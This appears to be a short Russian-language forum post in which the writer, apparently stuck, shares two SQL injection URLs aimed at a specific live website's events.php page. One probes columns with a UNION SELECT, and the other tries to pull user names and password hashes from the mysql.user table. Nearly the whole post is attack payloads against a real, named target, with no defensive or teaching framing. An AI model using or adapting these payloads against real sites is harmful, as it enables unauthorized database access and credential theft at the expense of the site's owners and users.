Чет немогу понять :/
http://www.nybmwcca.org/events.php?id=-29%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10/*
а вот это ваще хрень
http://www.nybmwcca.org/events.php?id=1+union+select+concat(user,char(58), password)+from%20+mysql.user/*